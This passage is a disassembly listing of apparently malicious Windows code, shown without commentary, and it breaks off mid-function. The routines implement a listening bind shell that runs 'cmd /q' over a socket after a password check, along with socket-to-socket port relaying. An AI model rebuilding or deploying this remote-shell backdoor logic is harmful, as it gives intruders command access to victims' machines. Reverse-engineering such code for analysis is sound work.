var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call dword_4CDC64 ; ntohs
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_4CDCE4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_410BAF
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_440BA4[ecx], eax
call dword_4CDB74 ; WSAAsyncSelect
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call dword_4CDC90 ; bind
test eax, eax
jnz loc_410BAF
push 0Ah
push [ebp+arg_0]
call dword_4CDC8C ; listen
test eax, eax
jnz loc_410BAF
loc_410AF4: ; CODE XREF: sub_410A44+C6j
; sub_410A44+166j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_4CDCF8 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410AF4
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_350]
push offset unk_436C90
push eax
call sub_41C056
push edi
lea eax, [ebp+var_350]
push 18h
push eax
call sub_40AF8D
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_440B9C[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_410BD4
push esi
push esi
call dword_42807C ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_440BAC[ecx], eax
jnz short loc_410BA5
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_436C50
call sub_415819
pop ecx
pop ecx
jmp short loc_410BB2
; ---------------------------------------------------------------------------
loc_410B9D: ; CODE XREF: sub_410A44+164j
push 32h
call dword_428064 ; Sleep
loc_410BA5: ; CODE XREF: sub_410A44+142j
cmp [ebp+var_30], esi
jz short loc_410B9D
jmp loc_410AF4
; ---------------------------------------------------------------------------
loc_410BAF: ; CODE XREF: sub_410A44+63j
; sub_410A44+97j ...
mov edi, [ebp+arg_0]
loc_410BB2: ; CODE XREF: sub_410A44+157j
push edi
call dword_4CDCFC ; closesocket
push [ebp+arg_0]
call dword_4CDCFC ; closesocket
push [ebp+var_40]
call sub_40B2A3
pop ecx
push esi
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_410A44 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_410BD4 proc near ; DATA XREF: sub_410A44+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41C2F0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp+var_4], ebx
call dword_4CDCE4 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_410D37
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_4CDC64 ; ntohs
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_4CDCA4 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_410C64
lea eax, [ebp+var_13C]
push eax
call dword_4CDCE8 ; gethostbyname
jmp short loc_410C72
; ---------------------------------------------------------------------------
loc_410C64: ; CODE XREF: sub_410BD4+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CDC1C ; gethostbyaddr
loc_410C72: ; CODE XREF: sub_410BD4+8Ej
cmp eax, edi
jz loc_410D37
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_4CDC0C ; connect
cmp eax, 0FFFFFFFFh
jz loc_410D37
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_436D18
push eax
call sub_41C056
push esi
lea eax, [ebp+var_344]
push 18h
push eax
call sub_40AF8D
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_440BA4[ebx]
mov dword_440B9C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_440BA8[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_410DBC
push edi
push edi
call dword_42807C ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_440BAC[ecx], eax
jnz short loc_410D70
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_436CD8
call sub_415819
pop ecx
pop ecx
loc_410D37: ; CODE XREF: sub_410BD4+44j
; sub_410BD4+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_440BA4[eax]
call dword_4CDCFC ; closesocket
push [ebp+arg_0]
call dword_4CDCFC ; closesocket
push [ebp+var_4]
call sub_40B2A3
pop ecx
push edi
call dword_4280CC ; ExitThread
pop edi
pop esi
pop ebx
loc_410D68: ; CODE XREF: sub_410BD4+19Fj
push 32h
call dword_428064 ; Sleep
loc_410D70: ; CODE XREF: sub_410BD4+14Ej
cmp [ebp+var_20], edi
jz short loc_410D68
mov ebx, 1000h
loc_410D7A: ; CODE XREF: sub_410BD4+1E1j
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CDC7C ; recv
cmp eax, edi
jle short loc_410D37
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_4CDCB4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410D7A
jmp loc_410D37
sub_410BD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410DBC proc near ; DATA XREF: sub_410BD4+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41C2F0
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_410DF3: ; CODE XREF: sub_410DBC+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_440BA8[esi]
call dword_4CDC7C ; recv
test eax, eax
jle short loc_410E3A
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_440BA4[esi]
call dword_4CDCB4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410DF3
loc_410E3A: ; CODE XREF: sub_410DBC+61j
push dword_440BA8[esi]
call dword_4CDCFC ; closesocket
push [ebp+var_14]
call sub_40B2A3
pop ecx
push 0
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_410DBC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E59 proc near ; DATA XREF: sub_4110CE+1BEo
var_3D4 = byte ptr -3D4h
var_350 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_3D4]
inc ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_440BA4[eax]
xor edi, edi
mov [ebp+var_C], 1Eh
mov [ebp+var_8], edi
mov eax, [esi]
mov [ebp+var_1F4], ebx
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_4CDC4C ; select
test eax, eax
jnz short loc_410EDD
push dword ptr [esi]
call dword_4CDCFC ; closesocket
push [ebp+arg_0]
call sub_40B2A3
pop ecx
push edi
call dword_4280CC ; ExitThread
loc_410EDD: ; CODE XREF: sub_410E59+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_4CDC7C ; recv
lea eax, [ebp+var_2C]
push 10h
push eax
push dword ptr [esi]
call sub_41105E
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_41105E
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_41105E
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_4CDBB8 ; getpeername
test eax, eax
jz short loc_410F56
call dword_4CDBF8 ; WSAGetLastError
push eax
push offset unk_436DF0
call sub_415819
push [ebp+arg_0]
call sub_40B2A3
add esp, 0Ch
push edi
call dword_4280CC ; ExitThread
loc_410F56: ; CODE XREF: sub_410E59+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_4CDC1C ; gethostbyaddr
cmp eax, edi
jnz short loc_410F80
push [ebp+var_18]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_B0]
push eax
call sub_41C056
jmp short loc_410F8E
; ---------------------------------------------------------------------------
loc_410F80: ; CODE XREF: sub_410E59+10Dj
push dword ptr [eax]
lea eax, [ebp+var_B0]
push eax
call sub_41C680
loc_410F8E: ; CODE XREF: sub_410E59+125j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43FE14
push dword ptr [esi]
call dword_4CDCB4 ; send
cmp dword_4D0AAC, edi
jnz short loc_410FF0
push [ebp+var_18]
lea eax, [ebp+var_350]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41109F
add esp, 10h
test eax, eax
jnz short loc_410FF0
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CDCB4 ; send
push dword ptr [esi]
call dword_4CDCFC ; closesocket
push [ebp+arg_0]
call sub_40B2A3
pop ecx
push edi
call dword_4280CC ; ExitThread
loc_410FF0: ; CODE XREF: sub_410E59+14Cj
; sub_410E59+16Dj
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_436DB4
call sub_415819
push [ebp+arg_0]
call sub_411355
add esp, 10h
test eax, eax
jnz short loc_411037
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_436D88
call sub_415819
push [ebp+arg_0]
call sub_40B2A3
add esp, 0Ch
push ebx
call dword_4280CC ; ExitThread
loc_411037: ; CODE XREF: sub_410E59+1B9j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_436D5C
call sub_415819
push [ebp+arg_0]
call sub_40B2A3
add esp, 10h
push edi
call dword_4280CC ; ExitThread
sub_410E59 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41105E proc near ; CODE XREF: sub_410E59+9Ap
; sub_410E59+A7p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
loc_411065: ; CODE XREF: sub_41105E+2Aj
push 0
lea eax, [ebp+arg_4+3]
push 1
push eax
push [ebp+arg_0]
call dword_4CDC7C ; recv
cmp eax, 1
jnz short loc_41109B
mov al, byte ptr [ebp+arg_4+3]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_411090
test al, al
jnz short loc_411065
xor eax, eax
inc eax
loc_41108D: ; CODE XREF: sub_41105E+3Fj
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_411090: ; CODE XREF: sub_41105E+26j
push offset unk_436E1C
call sub_415819
pop ecx
loc_41109B: ; CODE XREF: sub_41105E+1Bj
xor eax, eax
jmp short loc_41108D
sub_41105E endp
; =============== S U B R O U T I N E =======================================
sub_41109F proc near ; CODE XREF: sub_410E59+163p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_4110CA
push [esp+arg_4]
push [esp+4+arg_0]
push offset unk_436E48
call sub_415819
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4110CA: ; CODE XREF: sub_41109F+11j
xor eax, eax
inc eax
retn
sub_41109F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110CE proc near ; DATA XREF: sub_401B66+22D7o
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
xor edi, edi
inc edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_4CDBD4 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_411127
push eax
push offset unk_436FBC
call sub_415819
push [ebp+var_4C]
call sub_40B2A3
add esp, 0Ch
push edi
call dword_4280CC ; ExitThread
loc_411127: ; CODE XREF: sub_4110CE+3Aj
push edi
push offset loc_41134B
call dword_428124 ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_411160
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_436F78
call sub_415819
pop ecx
pop ecx
call dword_4CDBBC ; WSACleanup
push [ebp+var_4C]
call sub_40B2A3
pop ecx
push edi
call dword_4280CC ; ExitThread
loc_411160: ; CODE XREF: sub_4110CE+67j
push ebx
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_20], 2
push [ebp+var_50]
call dword_4CDC64 ; ntohs
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_4CDCE4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4112D6
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_440BA4[eax], ebx
lea eax, [ebp+var_20]
push eax
push ebx
call dword_4CDC90 ; bind
test eax, eax
jnz loc_4112D6
push 7FFFFFFFh
push ebx
call dword_4CDC8C ; listen
test eax, eax
jnz loc_4112D6
push offset unk_436F3C
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_4157A5
pop ecx
mov [ebp+arg_0], edi
loc_4111EF: ; CODE XREF: sub_4110CE+15Aj
; sub_4110CE+203j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_4CDCF8 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_4112D9
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_4CDC44 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_4111EF
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_414]
push offset unk_436EF8
push eax
call sub_41C056
lea eax, [ebp+var_414]
push eax
call sub_4157A5
push edi
lea eax, [ebp+var_414]
push 9
push eax
call sub_40AF8D
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_440B9C[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_410E59
lea eax, [ebp+var_10]
push esi
push eax
call dword_42807C ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_440BAC[ecx], eax
jnz short loc_4112CC
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_436EB8
call sub_415819
pop ecx
pop ecx
jmp short loc_4112D9
; ---------------------------------------------------------------------------
loc_4112C4: ; CODE XREF: sub_4110CE+201j
push 32h
call dword_428064 ; Sleep
loc_4112CC: ; CODE XREF: sub_4110CE+1DFj
cmp [ebp+var_38], esi
jz short loc_4112C4
jmp loc_4111EF
; ---------------------------------------------------------------------------
loc_4112D6: ; CODE XREF: sub_4110CE+C8j
; sub_4110CE+ECj ...
mov edi, [ebp+arg_0]
loc_4112D9: ; CODE XREF: sub_4110CE+13Cj
; sub_4110CE+1F4j
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_414]
push offset unk_436E80
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_411319
push esi
lea eax, [ebp+var_414]
push [ebp+var_40]
push eax
lea eax, [ebp+var_210]
push eax
push [ebp+var_214]
call sub_409982
add esp, 14h
loc_411319: ; CODE XREF: sub_4110CE+229j
lea eax, [ebp+var_414]
push eax
call sub_4157A5
pop ecx
push edi
call dword_4CDCFC ; closesocket
push ebx
call dword_4CDCFC ; closesocket
call dword_4CDBBC ; WSACleanup
push [ebp+var_4C]
call sub_40B2A3
pop ecx
push esi
call dword_4280CC ; ExitThread
pop ebx
loc_41134B: ; DATA XREF: sub_4110CE+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_4110CE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411355 proc near ; CODE XREF: sub_410E59+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_4114AA
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_440BA4[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_42807C
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_41167C
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_4113C4
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_437020
call sub_415819
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
xor eax, eax
jmp loc_4114A4
; ---------------------------------------------------------------------------
loc_4113C4: ; CODE XREF: sub_411355+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_41171A
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411405
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_437020
call sub_415819
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call dword_4280AC ; TerminateThread
xor eax, eax
jmp loc_4114A5
; ---------------------------------------------------------------------------
loc_411405: ; CODE XREF: sub_411355+86j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call dword_428128 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_41145F
dec eax
jz short loc_411459
dec eax
jz short loc_411445
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_436FE8
call sub_415819
pop ecx
pop ecx
jmp short loc_411474
; ---------------------------------------------------------------------------
loc_411445: ; CODE XREF: sub_411355+D9j
mov edi, dword_4280AC
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_411474
; ---------------------------------------------------------------------------
loc_411459: ; CODE XREF: sub_411355+D6j
push ebx
push dword ptr [esi+10h]
jmp short loc_411463
; ---------------------------------------------------------------------------
loc_41145F: ; CODE XREF: sub_411355+D3j
push ebx
push dword ptr [esi+14h]
loc_411463: ; CODE XREF: sub_411355+108j
call dword_4280AC ; TerminateThread
push 1
push dword ptr [esi+8]
call dword_4280F4 ; TerminateProcess
loc_411474: ; CODE XREF: sub_411355+EEj
; sub_411355+102j
push dword ptr [esi+10h]
mov edi, dword_42806C
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_4CDCFC ; closesocket
push esi
call sub_41B881
xor eax, eax
inc eax
loc_4114A4: ; CODE XREF: sub_411355+6Aj
pop ecx
loc_4114A5: ; CODE XREF: sub_411355+ABj
pop edi
pop esi
pop ebx
leave
retn
sub_411355 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4114AA proc near ; CODE XREF: sub_411355+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41BCA5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_411594
mov ebx, dword_428100
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, dword_42806C
test eax, eax
jnz short loc_41150D
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_4370D0
jmp short loc_41152D
; ---------------------------------------------------------------------------
loc_41150D: ; CODE XREF: sub_4114AA+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_411535
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_437090
loc_41152D: ; CODE XREF: sub_4114AA+61j
call sub_415819
pop ecx
jmp short loc_411563
; ---------------------------------------------------------------------------
loc_411535: ; CODE XREF: sub_4114AA+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_4115A3
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_411598
push offset unk_437068
call sub_4157A5
loc_411563: ; CODE XREF: sub_4114AA+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_41156F
push [ebp+var_4]
call edi ; CloseHandle
loc_41156F: ; CODE XREF: sub_4114AA+BEj
cmp [ebp+var_8], 0
jz short loc_41157A
push [ebp+var_8]
call edi ; CloseHandle
loc_41157A: ; CODE XREF: sub_4114AA+C9j
mov eax, [esi]
test eax, eax
jz short loc_411583
push eax
call edi ; CloseHandle
loc_411583: ; CODE XREF: sub_4114AA+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_41158D
push eax
call edi ; CloseHandle
loc_41158D: ; CODE XREF: sub_4114AA+DEj
push esi
call sub_41B881
pop ecx
loc_411594: ; CODE XREF: sub_4114AA+1Dj
xor eax, eax
jmp short loc_41159E
; ---------------------------------------------------------------------------
loc_411598: ; CODE XREF: sub_4114AA+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41159E: ; CODE XREF: sub_4114AA+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_4114AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4115A3 proc near ; CODE XREF: sub_4114AA+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41BD60
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BD60
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_4280FC
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call dword_4280F8 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call dword_428070 ; CreateProcessA
test eax, eax
jz short loc_41165F
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_440BA0[eax], ecx
call dword_42806C ; CloseHandle
jmp short loc_411675
; ---------------------------------------------------------------------------
loc_41165F: ; CODE XREF: sub_4115A3+9Aj
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_437110
call sub_415819
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_411675: ; CODE XREF: sub_4115A3+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4115A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41167C proc near ; DATA XREF: sub_411355+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
mov ebx, dword_4280E8
push esi
push edi
mov edi, [ebp+arg_0]
jmp short loc_4116DF
; ---------------------------------------------------------------------------
loc_411693: ; CODE XREF: sub_41167C+7Bj
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_4116C8
loc_41169E: ; CODE XREF: sub_41167C+4Aj
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_4116B8
cmp dl, 0Dh
jz short loc_4116B8
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_4116B8: ; CODE XREF: sub_41167C+2Cj
; sub_41167C+31j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_41169E
